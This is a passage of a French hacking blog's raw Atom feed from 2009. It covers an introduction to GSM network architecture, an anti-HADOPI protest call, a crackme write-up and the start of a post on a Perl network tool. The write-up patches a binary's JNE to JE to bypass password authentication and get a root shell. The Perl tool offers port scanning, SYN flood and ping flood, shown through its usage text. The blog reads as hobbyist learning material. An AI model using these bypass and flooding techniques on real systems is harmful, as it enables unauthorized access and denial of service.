l&#39;utilisateur.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Cet ensemble permet d&#39;accéder aux services d&#39;un PLMN GSM.&lt;br /&gt;&lt;br /&gt;Cette découpe permet à l&#39;usager d&#39;utiliser n&#39;importe que terminal GSM car son identification complète est portée par la carte SIM.&lt;br /&gt;              L&#39;établissement d&#39;une communication commence toujours par une phase d&#39;authentification durant laquelle le réseau dialogue avec la carte SIM.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Le terminal mobile a pour seule interface les équipements de type BTS et ses fonctionnalités sont :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;   &lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;*&lt;/span&gt; La gestion de la liaison de données avec le BTS (protocole LAPDm)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;   &lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;*&lt;/span&gt; La surveillance périodique de l&#39;environnement par des séries de mesure stockées sur la carte SIM&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;   &lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;*&lt;/span&gt; La restitution des données vocales ou non (messagerie) destinées à l&#39;abonné&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;   &lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;*&lt;/span&gt; Les opérations de chiffrement&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;           &lt;span style=&quot;font-weight: bold; color: rgb(102, 255, 255);&quot;&gt;2)Le BSS (Base Station sub System) comprend :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(102, 255, 153);&quot;&gt;*&lt;/span&gt;BTS ( Base Transceiver Station)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;    Les stations de base (BTS) assurent la couverture de l’aire de service :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;          Chaque cellule dispose d’une BTS et d’une seule,une BTS gère la transmission radio.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;-Une BTS est reliée à un contrôleur de station de base BSC (BSC, base station controller).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(102, 255, 153);&quot;&gt;*&lt;/span&gt;BSC (Base Station Controller)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;    Un  BSC est lui-même relié à un commutateur de service mobile (MSC, mobiles services switching center).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                     &lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;( 1 seule BTS par cellule mais un BSC gère un ensemble de BTS )&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Le BSC organise la supervision, l’allocation et la relâche des canaux radios (routage), conformément aux demandes reçues du MSC.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;          &lt;span style=&quot;font-weight: bold; color: rgb(102, 255, 255);&quot;&gt; 3) Le NSS comprend  : des bases de données (HLR) et des commutateurs (MSC)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(255, 153, 102);&quot;&gt;*&lt;/span&gt;HLR (Home Location Register)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;  Un HLR  est une base de données de localisation et de caractérisation des abonnés .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;A l’aide du numéro appelé (appel entrant), on en déduit la localisation du destinataire grâce à l’enregistreur de localisation nominal (HLR).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; Le HLR fournit l’adresse du MSC, BSC, et BTS couvrant l’aire dans laquelle se trouve le destinataire.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(255, 153, 102);&quot;&gt;*&lt;/span&gt;MSC (Mobile-services Switching Center)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; Les MSC  sont des commutateurs mobiles associés en général aux bases de données VLR (Visitor Location Register) .&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;  Le MSC gère l’établissement d’appel, la relâche d’appel, et tout ce qui est lié aux identités des abonnés&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(255, 153, 102);&quot;&gt;*&lt;/span&gt;VLR (Visitor Location Register)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; C&#39;est la base de données qui gère les abonnés présents dans une certaine zone géographique.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;  Ces informations sont une copie de l&#39;original conservé dans le HLR.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(255, 153, 102);&quot;&gt;*&lt;/span&gt;AuC (Authentication Center)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; Il mémorise pour chaque abonné une clé secrète utilisée pour authentifier les demandes de services et pour le chiffrement des communications. Un AuC est en général associé à chaque HLR.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-weight: bold; color: rgb(51, 255, 255);&quot;&gt;&lt;span style=&quot;font-style: italic; color: rgb(51, 102, 255);&quot;&gt;[+] Schéma simplifié d&#39;un réseau GSM  ( topologie de type &quot;Arbre&quot;)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA0oxr9hOjJmGcCB3sexdEo_oXeCG2S0JzZOB6oaOaskNa10KnGFHrtz9jo4h2SQRMBFswcWn8rQWcmQKj5wqDR3-DAm1qOLMd49Kp6aNVZdaNL1Na1vPCrd66ZZAHWvJHXQpID9WBbzbE/s1600-h/Sch%C3%A9ma-r%C3%A9seau-GSM.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 213px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA0oxr9hOjJmGcCB3sexdEo_oXeCG2S0JzZOB6oaOaskNa10KnGFHrtz9jo4h2SQRMBFswcWn8rQWcmQKj5wqDR3-DAm1qOLMd49Kp6aNVZdaNL1Na1vPCrd66ZZAHWvJHXQpID9WBbzbE/s400/Sch%C3%A9ma-r%C3%A9seau-GSM.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5314570991704208402&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;              &lt;span style=&quot;font-weight: bold; color: rgb(102, 255, 255);&quot;&gt;4) Les interfaces :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204); font-style: italic;&quot;&gt;a)L’interface Um&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;C’est l’interface entre les deux sous systèmes MS (Mobile Station) et le BSS (Base Station Sub-system. On la nomme couramment « interface radio » ou « interface air ».&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204); font-style: italic;&quot;&gt;b)L’interface Abis&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;C’est l’interface entre les deux composants du sous système BSS : la BTS (Base Station Transceiver) et le BSC (Base Station Controler).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204); font-style: italic;&quot;&gt;c)L’interface A&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;C’est l’interface entre les deux sous systèmes BSS (Base Station Sub System) et le NSS (Network Sub System).&lt;br /&gt;&lt;br /&gt;Voila pour l&#39;introduction , j&#39;espère que cet article vous aura permis d&#39;apprendre deux trois choses concernant les réseaux de téléphonie mobile .&lt;br /&gt;&lt;br /&gt;Rendez-vous sous peu  pour la suite .&lt;br /&gt;&lt;br /&gt;Have Fun !&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/5021823170881518617/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/5021823170881518617' title='4 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/5021823170881518617'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/5021823170881518617'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2009/03/reseaux-gsm-chapitre-i.html' title='Réseaux GSM : chapitre I'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA0oxr9hOjJmGcCB3sexdEo_oXeCG2S0JzZOB6oaOaskNa10KnGFHrtz9jo4h2SQRMBFswcWn8rQWcmQKj5wqDR3-DAm1qOLMd49Kp6aNVZdaNL1Na1vPCrd66ZZAHWvJHXQpID9WBbzbE/s72-c/Sch%C3%A9ma-r%C3%A9seau-GSM.jpg" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-7309124778979880066</id><published>2009-02-27T12:05:00.000+01:00</published><updated>2009-02-27T16:58:31.599+01:00</updated><title type='text'>Parce que la France n’est pas la Chine,parceque ce sont les utilisateurs qui ont fait du cyber espace ce ce qu&#39;il est aujourd&#39;hui : &quot;BLACK-OUT&quot; !</title><content type='html'>&lt;div style=&quot;text-align: center; color: rgb(204, 204, 204);&quot;&gt;&lt;strong style=&quot;font-weight: normal; font-style: italic;&quot;&gt;(!)  Devant le ridicule d&#39;un gouvernement qui s&#39;entête à vouloir déconnecter du Net des familles&lt;/strong&gt;&lt;strong style=&quot;font-weight: normal; font-style: italic;&quot;&gt;   &lt;/strong&gt;&lt;strong style=&quot;font-weight: normal; font-style: italic;&quot;&gt; entières sans preuves valables ni procès, la Quadrature appelle les citoyens épris de liberté à procéder au &lt;em&gt;« black-out »&lt;/em&gt; de leurs sites, blogs, profils, avatars, etc. &lt;/strong&gt;&lt;br /&gt;&lt;strong style=&quot;font-weight: normal; font-style: italic;&quot;&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong style=&quot;font-weight: normal; font-style: italic;&quot;&gt;Comme en Nouvelle-Zélande, seul pays avec la France où la   « riposte graduée »   devait être imposée par la loi, pour finalement être repoussée : &lt;/strong&gt;&lt;br /&gt;&lt;strong style=&quot;font-weight: normal; font-style: italic;&quot;&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong style=&quot;font-weight: normal; font-style: italic;&quot;&gt;pour protester contre cette loi imbécile et sa « liste blanche » de sites autorisés, le Net français doit agir et se draper de noir.&lt;/strong&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong style=&quot;color: rgb(204, 204, 204);&quot;&gt;Ainsi , la Quadrature invite tous ses soutiens, individus et collectifs, à :&lt;/strong&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center; color: rgb(204, 204, 204);&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(255, 255, 255); text-align: center;&quot;&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;    [*] Peindre leurs sites, blogs, profils, courriers, commentaires ou avatars de la couleur noire du « black-out », au besoin en utilisant les images mises à leur disposition.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;    [*] Afficher un message expliquant les motivations de cette protestation contre une loi absurde, inapplicable et dangereuse qui met en péril le web français, l&#39;innovation, et les libertés fondamentales.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;    [*] Faire un lien vers le « tableau de bord HADOPI » de La Quadrature du Net.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;    [*] Contacter son député pour lui annoncer que l&#39;on a procédé au « black-out » de son espace sur le Net pour protester contre la loi « Création et Internet », lui transmettre le dossier de La Quadrature6 et lui demander ce qu&#39;il en pense.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;   &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; [*] Inviter ses proches et ses contacts à faire de même.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: center; color: rgb(204, 204, 204);&quot;&gt;&lt;strong&gt;« Cet appel est un hommage rendu aux citoyens néo-zélandais qui ont pu faire entendre la raison à leur gouvernement. Il s&#39;agit d&#39;un remix, d&#39;une réappropriation d&#39;une idée qui, comme la culture, n&#39;existe que pour être partagée. Ce sont ceux qui traitent leurs clients de &quot; pirates &quot; et les députés qui votent leurs lois qu&#39;il faudrait déconnecter !»&lt;/strong&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong style=&quot;color: rgb(204, 204, 204);&quot;&gt;Rendez-vous ici pour plus d&#39;infos :&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.laquadrature.net/fr/APPEL-HADOPI-blackout-du-net-francais&quot;&gt;http://www.laquadrature.net/fr/APPEL-HA … t-francais&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;MOBILISONS NOUS ! &lt;/strong&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/7309124778979880066/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/7309124778979880066' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/7309124778979880066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/7309124778979880066'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2009/02/devant-le-ridicule-dun-gouvernement-qui.html' title='Parce que la France n’est pas la Chine,parceque ce sont les utilisateurs qui ont fait du cyber espace ce ce qu&#39;il est aujourd&#39;hui : &quot;BLACK-OUT&quot; !'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-6119980380471596592</id><published>2009-02-25T22:58:00.000+01:00</published><updated>2009-02-27T11:53:27.889+01:00</updated><title type='text'>&quot;Sysinfos&quot; is  powned .</title><content type='html'>&lt;span style=&quot;color: rgb(192, 192, 192);&quot;&gt;Au lendemain de l&#39;article sur les .bss overflow posté par mon ami &lt;span style=&quot;color: rgb(153, 255, 255);&quot;&gt;HyP &lt;/span&gt; sur &lt;a href=&quot;http://hyperion-hyp.blogspot.com/&quot;&gt;son blog&lt;/a&gt;  , j&#39;ai eu envie de voir comment bypasser l&#39;authentification de son &quot;&lt;span style=&quot;font-style: italic;&quot;&gt;Sysinfos&lt;/span&gt;&quot; mais avec une approche différente .&lt;br /&gt;&lt;br /&gt;Bon , aprés coup je me suis vite rendu compte que ce serait  trés classique voir presque triste , je le reconnait  mais 24h aprés la publication de son article ,  ça me tenter donc ...&lt;br /&gt;&lt;br /&gt;Code de &lt;a href=&quot;http://membres.lycos.fr/profil4/Audits/Sysinfos.c&quot;&gt;Sysinfos.c ici&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Premiere  étape  comme souvent , on désassemble  a la recherche d&#39;une ou plusieurs intructions intéréssantes ( ici avec objdump) de cette maniere :&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;objdump -d Sysinfos &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;et...bingo !&lt;br /&gt;&lt;br /&gt;Aprés  avoir parcouru les lignes ,on se rend vite compte de la simplicité de la chose lorsqu&#39;on tombe sur un JNE (Jump if Not Egal ) intéréssant.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;...........................................&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; ...........................................&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; 8048410:       55                      push   ebp&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; 8048411:       89 e5                   mov    esp,ebp&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; 8048413:       53                      push   ebx     &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; 8048414:       83 ec 04                sub    0x4,esp&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; 8048417:       80 3d bc 98 04 08 00    cmpb   0x0,0x80498bc&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; 804841e:       75 40                   jne    8048460 &lt;__do_global_dtors_aux+0x50&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;;saut au destructeur si valeur inégale&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;..........................................&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; ..........................................&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Reste plus qu&#39;a l&#39;éditer a l&#39;aider d&#39;un éditeur hexadécimal pour en modifier la valeur sachant que l&#39;on doit remplacer la valeur 75 par 74 .&lt;br /&gt;&lt;br /&gt;Nous avons  jne = &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;75&lt;/span&gt;&lt;br /&gt;Nous allons faire en sorte d&#39;obtenir je = &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;74&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Editons donc a l&#39;aide (par exemple ) de Ghex .&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Ghex2 Sysinfos&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On va rechercher la valeur hexa &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;75 40&lt;/span&gt; et hop , y&#39;a plus qu&#39;a modifier , enregistrer, faire un chmod +x Sysinfos et lancer le prog pour vérifier.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[root@localhost kmkz]# ./Sysinfos2 i&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Vérification de votre mot de passe..&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&#39;+) Authentification réussie...     &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; U&#39;r root!                          &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; sh 3.0 #&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Et voila , le Sysinfos est encore une fois bypasser et ce d&#39;une façon des plus élémentaire mais c&#39;était &quot; just for  fun &quot;  ;-) .&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/6119980380471596592/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/6119980380471596592' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/6119980380471596592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/6119980380471596592'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2009/02/sysinfos-is-powned.html' title='&quot;Sysinfos&quot; is  powned .'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-2966323214067022939</id><published>2008-10-22T15:47:00.000+02:00</published><updated>2008-10-22T16:33:43.453+02:00</updated><title type='text'>Quand on ne sais que faire ... on code nawak (et ça se voit :-P  )</title><content type='html'>&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;o/ All ! &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Bon bah tout est dans le titre :&lt;br /&gt;&lt;br /&gt;cette fois - ci ne sachant pas trop sur quoi bosser et , je doit l&#39;avouer ,ayant envie de me remettre au Perl aprés tant de temp passé sur d&#39;autre langages , je me suis mis a coder un petit tool       ( incomplet mais bon c&#39;est juste une &quot;remise a niveau &quot; :-P )  ,  histoire de me replonger dans les méandres de ce magnifique langage qu&#39;est le Perl .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Comme dis ci-dessus , ici rien d&#39;extraordinaire car il  s&#39;agissait surtout d&#39;un &quot;prétexte&quot; pour  revoir  un peu le Perl .&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Cependant , je compte réellement continuer a travaiiler dessus et ce , dans de vrais projets a venir , mais je n&#39;en dirais pas plus .... ;-) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;-----------------&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Bon , ce tool donc   -  (baptisé KM-Net-tool   pour kmkz network tool )   -  permet entre autre de scanner (super original je sais) des ports définis par l&#39;utilisateur sous forme de  &quot;plage&quot;  a scanner  ( Port de départ et d&#39;arrivée)  tout en choisissant aussi  le Time-out et le protocole a utiliser .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Il permet aussi la pratique du SYN flood en forgeant plus ou moins ses paquets :&lt;br /&gt;&lt;br /&gt;ip de départ , ip cible , port cible , taille du paquet  ; ainsi que le classique et peu utile (mais toujours intéréssant ne serait-ce que pour ce qu&#39;on y apprend )    ping flood ,  largement  moins paramétrable (si peu utile...)    :   ip cible et protocole uniquement.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Voici une ptite démo de ce code basique mais toutefois bien intéréssant a coder , surtout pour se remettre dans le bain car , je le rappelle , c&#39;est ici mon objectif , rien de plus .&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;&lt;-----------------  &lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Présentation :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[root@ KM-Net-tool]# perl  KM-Net-tool.pl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Usage KM-Net-tool.pl:      [-f# -S# -p# -l] &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;-S (Scan)  /host_to_test /   \Time out\   /Port to Start/   \Port to Stop\   /Protocol/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;-f (SYN Flood)  /Source-IP/    \Target_IP\   /Target_Port/   \Packet_size\&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;-p (Ping Flood)  /Target-IP/   \Protocol\&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;-l (GNU Licence)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;-----------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Contact &quot;kmkz&quot; for more informations.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;    Mail: kmkz[at]live[dot]fr.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;     WebSite: http://kmkz-web-blog.blogspot.com&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      Board: www.collective-utopia.no-ip.fr&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;-----------------&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Démo d&#39;un scan (SUID Root utilisé par le module RawIP) :&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;br /&gt;&lt;br /&gt;[root@ KM-Net-tool]#  